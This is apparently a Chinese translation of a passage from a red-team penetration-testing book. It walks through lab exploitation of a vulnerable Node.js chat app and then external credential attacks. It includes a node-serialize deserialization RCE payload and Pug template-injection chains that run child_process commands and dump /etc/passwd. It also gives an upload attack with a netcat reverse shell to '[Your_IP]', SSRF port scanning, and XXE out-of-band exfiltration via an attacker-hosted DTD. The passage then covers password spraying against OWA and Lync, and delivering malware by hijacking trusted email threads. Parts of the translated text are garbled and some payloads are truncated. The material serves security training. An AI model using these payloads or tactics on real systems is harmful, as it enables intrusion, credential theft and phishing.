让咱们渐渐了解攻击的细节,以便更好地了解正在发生的事情。第一,咱们稽查了 serialize.js 文献并快速搜索 eval( https://github.com/luin/serialize/search?utf8=✓&q=eval&type= )。日常,允许用户输入进入 JavaScript eval 语句是坏的音尘,因为 eval()实行原始 JavaScript。如果攻击者能够将 JavaScript 注入此语句,他们将能够在做事器上实行长途实行代码。
其次,咱们需要创建一个序列化的 payload,它将被反序列化,并通过咱们的 JavaScript payload require('child_process').exec('ls').
{“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’, function(error, stdout, stderr) { console.log(stdout) });}()”}
上头的 JSON 对象将通过以下的央求(){require('child_process').exec('ls')}进入 unserialize 函数中的 eval 语句,为咱们提供长途代码实行。要珍爱的临了一部分是结果括号添加了“()”,因为莫得它咱们的函数就不会被调用。第一个发现此缺点的研究员 Ajin Abraham 发现,使用立即调用的函数抒发式或 IIFE( https://en.wikipedia.org/wiki/Immediately-invoked_function_expression )将允许在创建后实行该函数。关联此缺点的更多详实信息,请拜谒:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 。
在咱们的聊天应用范例示例中,咱们将稽查 cookie 值,该值正在使用此易受攻击的库进行反序列化:
转到 :3000 代理 burp 中的流量并稽查 cookie 识别一个 cookie 称呼“donotdecodeme” 将该 Cookie 复制到 Burp Suite Decoder 和 Base64 中进行解码如前所述,每种语言皆有其特殊的地方,NodeJS 也不例外。在 Node/Express/Pug 中,你无法顺利写入 Web 目次,但是可以像在 PHP 中一样拜谒它。必须有一个指向文献夹的指定旅途,该文献夹既可写又可拜谒到全球辘集。
创建有用 payload
在最先之前,请记的确验中的扫数这些 payload 皆可以从这里复制粘贴: 获取原始 payload 并修改你的 shell 实行“'DO SYSTEM COMMANDS HERE” 例: 由于原始 Cookie 已编码,咱们必须通过 Burp Decoder/Encoder 对咱们的 payload 进行 base64编码 *示例 payload:eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxd 刊出,打开Burp禁止,并转发/(home)央求 将 cookie 修改为新创建的 Base64 payload 转发流量,因为公用文献夹是/的路由,你应该能够打开浏览器并转到 :3000/hacked.txt 你现在可以进行长途实行代码!放纵对此系统进行后期利用。首先尝试拜谒 /etc/passwd。在 node-serialize 模块的源代码中,咱们可以利用函数抒发式,这对于使用用户输入实行此操作的任何 JavaScript/NodeJS 应用范例来说皆是一个严重的问题。这种糟糕的作念法让咱们攻陷了这个应用范例。
参考文献:
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
https://github.com/luin/serialize
https://snyk.io/test/npm/node-serialize?severity=high&severity=medium&severity=low
https://blog.websecurify.com/2017/02/hacking-node-serialize.html
模板引擎攻击——模板注入模板引擎由于其模块化和爽直的代码与圭臬 HTML 比较而被更频繁地使用。模板注入是指用户输入顺利传递到渲染模板,允许修改底层模板。这可以在 wiki,WSYWIG 或电子邮件模板中坏心使用。这种情况很少发生在无意中,是以它日常被误解为只是 XSS。模板注入日常允许攻击者拜谒底层操作系统以获取长途代码实行。
鄙人一个示例中,你将通过 Pug 对咱们的 NodeJS 应用范例实行模板注入攻击。咱们无意中将我方裸露给模板注入,使用带有用户输入的元重定向,使用模板翰墨${}顺利在 Pug 中呈现。要紧的是要珍爱模板翰墨允许使用换行符,这是咱们必须碎裂段落标记,因为 Pug 是空格和换行符,近似于 Python 。
在 Pug 中,第一个字符或单词默示默示标签或功能的 Pug 环节字。你也可以使用缩进指定多行字符串,如下所示:
p. 这是段落缩进。 这仍然是段落标记的一部分。以下是 HTML 和 Pug 模板的示例:
上头的示例文本夸耀了它在 HTML 中的外不雅以及相应的 Pug Markup 语言的外不雅。通过模板和字符串插值,咱们可以创建快速,可重用且高效的模板
模板注入示例
聊天应用范例容易受到模板注入攻击。鄙人面的应用范例中,咱们将望望咱们是否可以与 Pug 模板系统进行交互。这日常可以通过检讨咱们提供的输入参数是否可以处理基本操作来完成。James Kettle 写了一篇对于攻击模板和与底层模板系统交互的大论文( )。
与 Pug 交互:
转到 :3000 并使用任何有用帐户登录 转到 :3000/directmessage 并输入用户和批驳以及“发送”,接下来,复返 Direct Message 页面并尝试将 XSS payload 输入到用户参数<script>alert(1)</script> :3000/ti?user=&comment 这表明应用范例容易受到 XSS 的攻击,但咱们可以与模板系统进行交互吗? 在 Burp 历史记载中,稽查做事器请 request/response 的响应 /ti?user=,并将央求发送到 Burp Repeater(ctrl+r)测试基本操作
咱们可以通过将它传递给算术字符串来测试模板注入的 XSS 易受攻击参数。如果咱们的输入被读取,它将识别它易受模板注入的影响。这是因为模板(如编码语言)可以缩小接济评估算术运算符。
测试基本操作符:
在 Burp Repeater 中,测试 /ti 上的每个参数以进行模板注入。咱们可以通过传递9乘9这样的数学运算来作念到这一丝。
咱们可以看到它莫得用,咱们莫得得到81,请记着,咱们的用户输入包含在段落标记内,是以咱们可以假设咱们的 Pug 模板代码看起来像这样:
p Message has been sent to !{user}利用 Pug 的本性:
正如咱们之前所说,Pug 是空格分隔的(近似于 Python),换行符最先一个新的模板输入,这意味着如果咱们可以突破 Pug 中确当前行,咱们可以实行新的模板代码。在这种情况下,咱们将碎裂段落标记 <p> ,如上所示,并实行新的坏心模板代码。为此,咱们将不得不使用一些 URL 编码来利用此缺点( )。
让咱们渐渐完成每个要求以实行模板注入:
首先,咱们需要触发一个新行并突破当前模板。这可以使用以下字符完成: new line 其次,咱们可以通过使用“=”标记来利用 Pug 中的算术函数 =%编码“=”标记 临了,咱们可以输入咱们的数学方程式 9*9数学方程式因此,最终 payload 将如下所示:
[newline]=9*9 URL 编码: GET /ti?user= =9*9&comment=&link=GET /ti?user= =9*9在响应正文中给出了81。你已在用户参数中发现了模板注入!让咱们通过利用 JavaScript 来获取长途代码。
正如你在响应中所看到的,咱们在段落标记之外有“81”而不是用户名!这意味着咱们能够注入模板。
咱们现在知说念咱们可以进行模板注入,因为咱们可以实行简单的策动,但是咱们需要望望是否可以实行 shell。要得到 shell 实行,咱们必须找到正确的函数来在 Node/JavaScript 中实行。
首先,咱们将识别自身全局对象的根节点,然后陆续肯定咱们可以拜谒哪些模块和功能。咱们但愿最终使用 Require 函数导入 child_process.exec 以运行操作系统敕令。在 Pug 中,“=”字符允许咱们输出 JavaScript 结果。咱们将从拜谒全局根最先: [new line]=global 使用 Burp 的解码器器具将上述抒发式编码为 URL 编码,可以得到: = global 使用上头的 URL 编码字符串作为用户值并重新发送。 如果在提交前后央求一切凯旋,咱们将看到 [object global],这意味着咱们可以拜谒全局对象。解析全局对象:
让咱们通过在全局范围内使用 Pug 迭代器‘each’来稽查咱们可以拜谒的对象和属性。记着换行符( )和空格( ): each val,index in global p=index URL 编码: each val,index%2 在上头的例子中,咱们使用‘each’迭代器,它可以拜谒一个值,何况如果咱们指定了数组或对象,也可以遴荐拜谒索引。咱们试图找到咱们在全局对象中可以拜谒的对象,方法或模块。咱们的最终宗旨是找到近似“require”方法的东西,以允许咱们导入 child_process.exec,它允许咱们运行系统敕令。从现在最先,咱们只是使用反复检修来识别最终会给咱们 require 方法的方法或对象。查找代码实行功能:
从上一个央求中,咱们看到了全局中的扫数对象以及一个名为“process”的对象。接下来,咱们需要识别咱们在 global.process 中可以拜谒的趣味趣味对象:
each val,index in global.process p=index URL 编码: each val,inde%7咱们从扫数可用的方法中遴荐“process”,因为咱们知说念它最终会导致‘require’。你可以通过遴荐不同的迭代方法来尝试尝试和造作过程:
each val,index in global.process.mainModule p = indexURL 编码: each val,index%2
长途实行代码:
发送此最终 payload ,咱们应该在 global.process.mainModule 中看到“require”函数。咱们现在可以将其成立为使用.exec 导入‘child_process’以获取 RCE: var x = global.process.mainModule.require x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/accounts.txt') URL 编码: - var x = glo%6 在上头的例子中,咱们像在 JavaScript 中一样界说变量“x”,但行伊始的破折号默示无缓冲输出(躲避)。咱们正在使用全局对象和咱们最终需要的模块‘require’,这允许咱们使用‘child_process’.exec 来运行系统敕令。 咱们将 /etc/passwd 的内容输出到 Web 全球根目次,这是咱们唯一具有写入权限的目次(由应用范例创建者设想),允许用户稽查内容。咱们也可以使用系统敕令实行反向shell或其他任何允许的操作。 咱们可以看到 :3000/accounts.txt 将包含的内容 来自 Web 做事器的 /etc/passwd。 使用此敕令在系统上实行完整的 RCE 并复返 shell。现在,咱们可以对这一系列操作杀青自动化吗?天然可以。有一个近似 SQLmap 的名为 Tplmap 的器具,它可以尝试模板注入的扫数不同组合:
cd /opt/tplmap ./tplmap.py -u ":3000/ti?user=*&comment=asdfasdf&link="参考:
-side-template-injection.html https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ JavaScript 和长途代码实行长途代码实行是咱们在每次入侵和 Web 应用范例浸透测试中必须寻找的。固然 RCE 险些可能在职何地方找到,但它们最常见于允许上传的地方,举例:上传 web shell,一个像 Imagetragick 这样的缺点利用,使用 Office 文献进行 XXE 攻击,基于遍历的目次上传以替换环节文献等。
传统来说,咱们可能会尝试找到咱们可以使用的上传区域和 shell。可以在此处找到不同类型的 webshell payload 的绝佳列表:https://github.com/tennc/webshell 。请珍爱,我毫不会审查任何这些 shell 是否存在后门,是以使用它们需要你自担风险。我遭遇过许多有后门的 shell。
使用上传攻击对聊天应用范例进行攻击
在咱们的实验室中,咱们将在 Node 应用范例上实行上传 RCE。在咱们的示例中,有一个文献上传功能,允许任何文献上传。倒霉的是,使用 Node,咱们不可只通过 Web 浏览器调用文献来实行文献,就像在 PHP 中一样。因此,在这种情况下,咱们将使用动态路由端点尝试呈现 Pug 文献的内容。造作在于端点将读取文献的内容,假设它是 Pug 文献,因为默许目次存在于 Views 目次中。此端点上还存在旅途遍历和土产货文献读取缺点。
在上传过程中,文献处理范例模块会将文献重定名为随机字符串,莫得扩张名。在页面的上传响应内容中,存在上载文献的做事器旅途位置。使用这些信息,咱们可以使用/drouting 实行模板注入以杀青长途代码实行。
既然咱们知说念底层应用范例是 Node(JavaScript),咱们可以上传什么样的 payload 来能力被 Pug 实行?回到咱们之前使用的简单示例:
首先,为 require 模块分配一个变量 -var x = global.process.mainModule.require 使用子程度模块使咱们能够通过运行任何系统敕令来拜谒操作系统功能: -x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash')RCE 上传攻击:
转到 :3000 并使用任何有用帐户登录 使用以下信息上传文本文献。在 Pug 中,“-”字符默示实行 JavaScript。 -var x = global.process.mainModule.require -x('child_process')。exec('nc [Your_IP] 8888 -e / bin / bash') 通过上传文献稽查 Burp 中的请乞降响应。你将珍爱到在响应 POST 央求中上传的文献的哈希值以及援用的 drouting。 在这个模板代码中,咱们将 require 函数分配给 child_process.exec,它允许咱们在操作系统级别上运行敕令。此代码将使 Web 做事器结合到在端口8888上 [Your_IP] 上运行的监听器,并允许咱们在 Web 做事器上运行 shell。 在攻击者策动机上,启动 shell 的 netcat 侦听器以结合回 nc -l -p 8888 咱们通过在 /drouting 上运行端点来激活代码。在浏览器中,转到上传的哈希文献。 drouting 端点采取指定的 Pug 模板并呈现它。对咱们来说行运的是,咱们上传的 Pug 模板包含咱们的反向 Shell 。 在浏览器中,使用你从文献上载响应中规复的文献拜谒 drouting 端点。咱们使用目次遍历“../”来复返上一个目次,以便能够进入包含咱们的坏心文献的 uploads 文献夹: /drouting?filename=../uploads/[你的文献哈希] 回到你的结尾监听 8888 端口并在你的 shell 里操作吧! 做事器端央求伪造(SSRF)做事器端央求伪造(SSRF)是我认为日常被误解的缺点之一,何况在术语方面,日常与跨站点央求伪造(CSRF)污染。固然这个缺点也曾存在了一段期间,但现实上还莫得得到弥散的磋磨和醉心,尤其它可以酿成的格外严重的后果。让咱们来望望它是什么以及为什么会酿成严重的后果。
做事器端央求伪造日常被利用以拜谒土产货系统,进入里面辘集或允许某种出动。领路 SSRF 的最简单方法是通过一个例子讲述。假设你有一个全球 Web 应用范例,允许用户通过 URL 从 Internet 高下载建立文献图像。你登录该站点,转到你的个东说念主尊府,然后单击 Imgur(全球图像托管做事)的更新个东说念主尊府按钮。你提供图像的 URL( 举例:https://i.imgur.com/FdtLoFI.jpg)并点击提交。接下来发生的事情是做事器会创建一个全新的央求,转到 Imgur 站点,抓取图像(它可能会实行一些图像操作来治愈图像-图像追踪任何东说念主的大小?),将其保存到做事器,并发送得胜音尘回到用户。如你所见,咱们提供了一个 URL,做事器获取该 URL 并抓取图像,并将其上传到其数据库。
咱们提供了首先的 Web 应用范例的 URL,以从外部资源中获取咱们的个东说念主尊府图片。但是,如果咱们将图像 URL 指向 :80/favicon.ico 会发生什么?这将告诉做事器不是央求像 Imgur 这样的东西,而且从土产货主机做事器(它自己)获取 favicon.ico 图片文献。如果咱们能够得到复返包的值是 200 或使咱们的个东说念主尊府图片成为土产货的 favicon 图片,咱们就知说念咱们可能发现了 SSRF。
由于它在80端口上责任,那么如果咱们尝试结合到 :8080 会发生什么情况(8080 是一个除 localhost 之外无法拜谒的端口)?这即是它变得趣味趣味的地方。如果咱们确乎得到完整的 HTTP 央求/响应,何况咱们可以在土产货对8080端口发出 GET 央求,那么如果咱们发现了一个易受攻击的 Jenkins 或 Apache Tomcat 做事会发生什么?即使这个端口莫得被公开监听,咱们可能也可以入侵这个环境。更好的是,咱们随机可以最先央求内网IP:-254 ,而不是127.0.0.1。追忆一下那些复返了内网 IP 流露的辘集扫描结果,你对此不屑一顾。但是这恰是它们重新弘扬作用的地方,咱们可以通过它们来使用里面辘集做事。
SSRF 缺点允许你可以实行以下操作:
在回文接口上拜谒做事 扫描里面辘集和与这些做事的潜在交互方式(GET/POST/HEAD) 使用 FILE:// 读取做事器上的土产货文献 使用 AWS Rest 接口( ) 横向出动到里面环境中在咱们的下图中,咱们发现 Web 应用范例上存在易受攻击的 SSRF,允许咱们利用此缺点:
让咱们来看一个现实中的例子:
在你的聊天接济系统( :3000/ )Web 应用范例中,首先确保创建一个帐户并登录。 登录后,通过贯穿转到 Direct Message(DM)页面或顺利通过 :3000/directmessage 。 在“贯穿”文本框中,放入 等网站,然后单击预览贯穿。 你现在应该看到 页面的呈现,但 URI 栏仍应指向咱们的聊天应用范例。 这表明该站点容易受到 SSRF 的攻击。咱们也可以尝试聊天:3000/ssrf?user=&comment=&link=:3000 并指向 localhost。请珍爱,页面呈现了,咱们现在正通过有缺点的做事器上的 localhost 拜谒该站点。咱们知说念应用范例自己正在监听3000端口。咱们可以从外部对该系统进行 nmap 扫描,并发现当前莫得其他 Web 端口正在监听,但是哪些做事只是对于 localhost 可用?要搞领会这个问题,咱们需要通过127.0.0.1的扫数端口强制实行。咱们可以通过使用 Burp Suite 和 Intruder 来杀青这一宗旨。
在 Burp Suite 中,转到 Proxy/HTTP History 选项卡,找到咱们上一个 SSRF 的央求包。
在 Request Body 上单击右键并发送给 Intruder。
Intruder 选项卡将亮起,转到 Intruder 选项卡,然后单击 clear。单击并杰出夸耀端口“3000”,然后单击 add。你的 GET 央求应如下所示:
GET/ssrf?user=&comment=&link= :§3000§HTTP/ 1.1单击 payload 选项卡,然后遴荐将 Payload 类型遴荐为 “Numbers”。咱们将从28000端口转到28100。日常,你将测试扫数端口,但让咱们在实验的时候简化它吧。
From:28000
To:28100
Step:1
点击 Start Attack
你将看到端口28017的响应长度普遍于扫数其他央求。如果咱们打开浏览器并转到::3000/ssrf?user=&comment=&link=:28017 ,咱们应该能够利用咱们的 SSRF 并得到对 MongoDB Web 界面的拜谒权限。
你应该能够拜谒扫数贯穿,但你必须记着你需要使用 SSRF。要拜谒 serverStatus( :3000/serverStatus?text=1 ),你必须使用 SSRF 攻击并转到此处:
:3000/ssrf?user=&comment=&link=:28017/serverStatus?text=1做事器端央求伪造可能相称危境。固然不是新的缺点,但面前发现的 SSRF 缺点数目越来越多。由于 SSRF 允许在基础设施内进行出动,这日常会导致某些要紧的发现。
其他资源:
土产货的许多编码: -Server_side_browsing_considered_harmful.pdf Bug Bounty - AirBNB 示例: XML 外部实体攻击(XXE)XML 代表可扩张标记语言,旨在发送/存储易于阅读的数据。 XML eXternal Entities(XXE)是对应用范例中 XML 解析器的攻击。XML 解析常见于允许文献上传,解析 Office 文档,JSON 数据以致 Flash 类型游戏的应用范例中。当允许 XML 解析时,不正确的考证可以授予攻击者读取文献的权限、导致断绝做事攻击,以致长途代码实行。从一个比较高的维度来看,应用范例具有以下需求:1) 解析用户提供的 XML 数据,2) 实体的系统符号符部分必须在文档类型声明(DTD)内,3) XML处理器必须考证/处理 DTD 并解析外部实体。
上头,咱们有一个普通的 XML 文献和一个专门用来从系统的 /etc/passwd 文献中读取文献的坏心 XML。咱们将望望是否可以在真实的 XML 央求中注入坏心 XML 央求。
XXE 实验:
由于自界说建立央求,有一个不同的 VMWare 诬捏机用于 XXE 攻击。这可以在这里找到:
?type=XXE-vm下载后,在 VMWare 中打开诬捏机并启动它。在登录屏幕上,你无需登录,但你应该看到系统的 IP 地址。
转到浏览器:
通过 Burp Suite 代理扫数流量 转到 URL:http://[IP of your Virtual Machine] 禁止流量并点击 Hack the XML如果在加载页面后稽查页面的 HTML 源代码,你可以看到有一个通过 POST 央求提交的躲避字段。XML 内容如下所示:
在这个例子中,咱们指定它是 XML 1.0版块,DOCTYPE,指定根元素是 thp,!ELEMENT 指定任何类型,何况 !ENTITY 将 book 变量成立为“Universe”字符串。临了,在咱们的 XML 输出中,咱们但愿从解析 XML 文献中打印出咱们的实体。
这日常是你在发送 XML 数据的应用范例中看到的内容。由于咱们控制具有 XML 央求的 POST 数据,因此咱们可以尝试注入咱们我方的坏心实体。默许情况下,大多数 XML 解析库皆接济 SYSTEM 环节字,该环节字允许从 URI 读取数据(包括使用 file:// 左券 )。因此,咱们可以创建我方的实体来制作在 /etc/passwd 上读取的文献。
XXE 实验——阅读文献:
禁止 [你的 VM 的 IP]/xxe.php 的流量包并点击 Hack of XML 将截获的流量包发送到 Repeater 将“data”的 POST 参数修改为以下内容: ]>Hack The &book; 请珍爱,& 等同于&,;等同于 ;。咱们需要对&标记和分号字符进行百分比编码。 发送流量包,咱们现在应该能够读取 /etc/passwd 高等 XXE——XXE-OOB在之前的攻击中,咱们能够在<thp>标签中得到复返的响应。那么如果咱们看不到响应或遭遇字符或文献限定若何办?咱们怎样使用带外数据左券(OOB)来发送咱们的数据?咱们可以提供长途文档类型界说(DTD)文献来实行 OOB-XXE,而不是在央求 payload 中界说咱们的攻击。DTD 是结构细密的 XML 文献,用于界说 XML 文档的结构和法律元素及属性。为了简单起见,咱们的 DTD 将包含咱们扫数的攻击或 exfil payload,这将匡助咱们科罚许多字符的限定。在咱们的实验示例中,咱们将使有 XXE 缺点的做事器央求一个托管在长途做事器上的 DTD。
新的 XXE 攻击将分四个阶段进行:
使用更正后的 XXE XML 攻击 对于存在缺点的 XML 解析器,它会从攻击者做事器抓取一个 DTD 文献 该 DTD 文献包含读取 /etc/passwd 文献的代码 该 DTD文献也包含用于笼罩传输 /etc/passwd 内容的代码(可能是经过编码的)成立咱们的攻击者机器和 XXE-OOB payload:
咱们将指定一个外部 DTD 文献,而不是原始文献读取 新的“数据”POST payload 将如下所示(紧记变调 [Your_IP]): 咱们需要通过创建名为 payload.dtd 的文献在攻击者做事器上托管此 payload gedit /var/www/html/payload.dtd你刚刚创建的 DTD 文献指示易受攻击的做事器读取 /etc/ passwd 然后尝试使用咱们的明锐数据向咱们的攻击者机器发出 Web 央求。为了确保咱们收到响应,咱们需要启动 Web 做事器来托管 DTD 文献并成立 NetCat 监听器
nc -l -p 8888你将遭遇“检测到实体援用轮回”类型的造作,具体的报错内容粗略是:“Detected an entity reference loop in <b>/var/www/html/xxe.php on line <b>20"。在进行 XXE 攻击时,日常会遭遇解析器造作。许多时候,XXE 解析器只是允许某些字符,因此读取带有特殊字符的文献会报错。咱们可以作念些什么来科罚这个问题?在使用 PHP 的情况下,咱们可以使用 PHP 输入和输出流( )来读取土产货文献,并使用 php://filter/read=convert.base64-encode 对它们进行 base64 编码。让咱们重启咱们的 NetCat 监听器并变调咱们的 payload.dtd 文献以使用此功能:
一朝咱们重放咱们新修改的央求,咱们现在就可以看到咱们的受害者做事器首先获取并运行了 payload.dtd 文献,然后监听8888端口的 NetCat 处理范例发出二次 Web 央求。天然,GET 央求将采取 base64编码何况咱们也将必须对央求进行解码。
更多 XXE payload:
https://gist.github.com/staaldraad/01415b990939494879b4 https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt 本章总结固然这只是你可能遭遇的扫数不同辘集攻击的一小部分,但我但愿这些案例能打开你的视线,对于更现代的框架(Node.js)是如何引入旧的和新的攻击。许多常见的应用范例缺点扫描器时时会错过许多这些更复杂的缺点,因为它们是基于特定的语言或框架的。我想提倡的要点是,为了进行充分的攻击行径,你需要果真领路语言和框架。
第4章 带球——最先攻击辘集
在进行风险评估式样的第二天,你使用 nmap 扫描了宗旨的全部网段,还启动了缺点扫描器,但运说念不太好,你莫得探伤出任何 Web 应用范例的开动进口点。这让你感到有些失败,需要反念念一下,重新回顾一下之前汇集到的扫数信息。因为你知说念,一朝可以进入宗旨辘集,就可以使用无数的技巧来得到更多的凭证、在域中漫游、利用 AD(行径目次)的本性,临了找到咱们要找的东西。天然,这不是一件容易的事。因为你要绕过强大防火墙,还要诈骗料理员,临了还要擦除我方的印迹。
在上一册书中,本部分细心于使用缺点扫描器来发现缺点并利用它们。这是通过使用诸如 Metasploit、打印机缺点、腹黑滴血、Shellshock、SQL 注入等常见缺点的利用器具来杀青的。最近一段期间,爆出了许多严重的长途代码实行缺点,比如 不朽之蓝(MS017-10)、多个版块的 Jenkins 缺点、Apache Struts 2、CMS 应用的代码实行缺点等等。因为本书是以红队的视角来讲解的,因此咱们不会过多地关注如何使用这些器具来攻击利用特定的缺点。相背,咱们将关注如何利用公司现存的应用范例,马上取材来发现缺点,然后攻破公司辘集。
在本章中,将麇集磋磨红队的战术,如何利用公司基础设施、获取身份凭证、探索里面辘集以及在主机和辘集之间进行漫游。咱们将在不运行任何一个缺点扫描器的前提下完成这项责任。
从外网寻找侵入对方系统的登陆凭证作为一个红队成员,找到首先的攻击点可能很费劲,需要摧折多数的资源。在上本书中,咱们尝试过伪造受害者的身份考证页面、购买相称相似的域名来对宗旨实施垂钓,以及编写自界说的坏心软件等不同的方法。
有时候,我告诉我的红队队员要保持简单的念念想。许多时候,那些令东说念主赞赏的高等技能,反而不如一些简单初级的方法管用,最简单的方法时时是最有用的。
最基本的时代之一即是暴力破解密码。但是,作为红队的一员,咱们必须研究如何微妙地作念到这一丝。随着公司的发展,公司使用了更多的应用范例和时代器具。对于攻击者来说,这无疑为他们拓宽了障碍的大门。当公司最先裸露在互联网上时,咱们看到公司需要对电子邮件(如 Office 365或 OWA)、通讯器具(如 Lync、XMPP、WebEx)、团结器具(如 JIRA、Slack、Hipchat、Huddle)和其他外部做事(如 Jenkins、CMS 站点、接济站点)进行身份考证。这些即是咱们的宗旨突破口。
咱们试图攻击这些做事器和做事的原因是,咱们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份考证的器具。这可以通过 ADFS 方式、单点登录(SSO)方式或者顺利使用 AD 域认证等不同的方式来完成。咱们需要找到一些可以利用的全球凭证,以便陆续进行下一步的攻击。在信息汇集阶段,咱们发现并识别了多数的电子邮箱地址和用户名帐号,咱们将对这些获取到的信息进行一种叫“密码喷洒”(Password Spraying)的攻击。咱们将针对扫数不同的应用范例,尝试猜测基本密码,正如咱们在现实宇宙的 APT 行径中看到的那样( US-CERT 著述: )。
译者注:“密码喷洒攻击”(Password Spray Attack)并不等同于“密码爆破攻击”(Brute Force Attack)。事实上,这两种攻击是相背的。在密码爆破攻击中,黑客遴荐一个易受攻击的 ID 并一个接一个地输入密码,但愿有一些密码可以让他们进入。基本上,密码爆破是用多个密码尝试破解并吞个 ID。而密码喷洒攻击,是用一个密码来尝试多个用户 ID,以便至少有一个用户 ID 被流露。对于密码喷洒攻击,黑客使用外交工程或其他辘集垂钓方法汇集多个用户 ID。日常情况下,至少有一个用户使用简单的密码,如12345678以致是 p@ssw0rd。在密码喷洒攻击中,黑客会为他或她汇集的扫数用户 ID 应用全心构造的密码。因此,密码喷洒攻击可以界说为将相通的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权拜谒。暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了幸免这种情况,产生了汇集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒攻击时,黑客也会采取一些防止措施。举例,如果他们尝试将 password1应用于扫数用户帐户,则在完成第一轮后,他们不会立即最先将 password2应用于这些帐户。他们将在黑客攻击中留出至少30分钟的期间。参考尊府:Password Spray Attack Definition and Defending yourself
那么,为什么要针对不同的外部做事进行身份考证呢?这是因为:
有些身份考证范例不会记载从外部做事尝检修证的次数。 固然咱们日常看到电子邮件或 VPN 系统要求双身分考证(2FA),但面向外部的即时通讯系统可能不需要。 密码重用的可能性相称高。 有的时候,当使用 AD 账户屡次重迭登录失败时,外部系统并不会将此账户锁定。有许多器具可以杀青密码喷洒攻击,但是,咱们只关注其中的几个。第一个是来自 Spiderlabs 的名为 Spray 的器具。尽管 Spray 使用起来有点复杂,但我相称可爱它所接济的一些做事。举例,它接济 SMB、OWA 和 Lync(Microsoft Chat)。
要使用 Spray,你需要指定以下几个参数:
正如你将鄙人面的示例中看到的那样,咱们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件做事器(该做事器现在也曾下线了)进行密码破解,当它使用密码 Spring2018与用户名 peter 尝试进行配对时,得胜的登进了系统。
我日常遭遇的一个问题是,应该使用哪个密码进行尝试?因为在锁定帐号之前,只可不竭的屡次尝试密码。事实上这个问题莫得正确谜底,使用哪个密码相称依赖于这家公司的密码成立规则。咱们往常可以使用一些简单密码进行尝试,比如“Password123”,因为总有一些东说念主会因为图浅显而使用简单密码。但随着东说念主们安全意志的提高,现在现在越来越少东说念主使用这种密码了,因而得胜率也就变低了。现在的话,咱们一般会聚使用以下规则的一条到多条来构建咱们的尝试密码:
月份和年份的数字组合。 当地的球队和球员的数字编号组合。 稽查一些以前泄涌现来的数据,找一些有莫得宗旨公司的用户尊府流露,因为相通公司的用户可能会使用近似的密码。 公司称呼+年份/编号/特殊的字符 (如!,$,#,@)编好了密码之后,咱们就可以24小时不隔断圣洁地运行咱们的账号破解范例,慢是为了幸免触发任何帐号锁定。请记着,咱们只是匹配得胜一个账号就可以进入大门了!
此图是使用 Curl 对 OWA 进行身份认证的快速剧本
建立 Spray 相称简单,而且其建立文献可以很容易地给其他近似范例参考使用。你需要作念的是拿获登录密码时的 POST 央求(可以在 Burp Suite 中完成),复制扫数央求数据,并将其保存到文献中。对于任何将要被破解的字段,你需要提供字符串“sprayuser”和“spraypassword”。
举例,在咱们的例子中,post-request.txt 文献如下所示:
POST /owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https://mail.cyberspacekittens.com/owa/ Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 destination=https://cyberspacekittens.com/owa/&flags=4&forcedownlevel=0
译者注:临了一个 destination 字段的内容本书的英文版块貌似夸耀不全,至少是我拿到的英文版块 PDF 夸耀不全。我只是简单的复制自 PDF,读者珍爱一下。
如前所述,spray.sh 的另一个克己是它还接济 SMB 和 Lync。另一种具备这个本性的器具称为 Ruler,这个器具还可以对密码喷洒攻击得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个器具,它允许你通过 MAPI/HTTP 或 RPC/HTTP 左券与 Exchange 做事器交互。固然咱们主要磋磨使用 Ruler 来进行密码破解/信息汇集,但是这个器具也接济一些持久性缺点利用攻击,咱们将略微说起这点。
咱们可以用的 Ruler 的第一个功能近似于 Spray,它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入用户名列表和密码,并尝试查找登陆凭证。它将自动寻找 Exchange 做事器的环节建立并尝试查找登陆凭证。
运行 Ruler:
一朝咱们找到了一个密码,咱们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的扫数用户,以查找更多的电子邮件地址及其所属的电子邮件组。
咱们陆续将获取的这些电子邮件地址通过上头说起的那些密码破解器具来进行破解的尝试,从而得到更多的身份凭证——这就和滚雪球一样。不外,Ruler 的主要用途是,一朝你有了身份凭证,你就可以利用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的著述 outlook-forms-shells,先容了他们是怎样利用这些功能来实行包含 Empire payload 的宏文献的。
如果你决定不使用 Outlook 表单,或者该功能也曾被禁用,咱们的念念路还可以回到对电子邮件的攻击。这可能会让你感到有点粗暴,因为你将使用这些普通用户的账号登录并阅读他们的扫数电子邮件。当咱们昂扬的阅读某个用户的电子邮件时,咱们会想要和某个他似乎有点信任(但又不算好一又友)的东说念主进行对话。既然也曾有了信任的基础,咱们就可以利用这个契机给他发送坏心软件。日常,咱们会更正一次会话,在里面夹带附件(如 Office 文献/可实行文献),然后重新发给他们,不外这次附件包含了咱们的坏心 payload。在受信任的内网结合和电子邮件之中传递坏心软件,得胜掩护了咱们的身份,并使这次行动得到得胜。
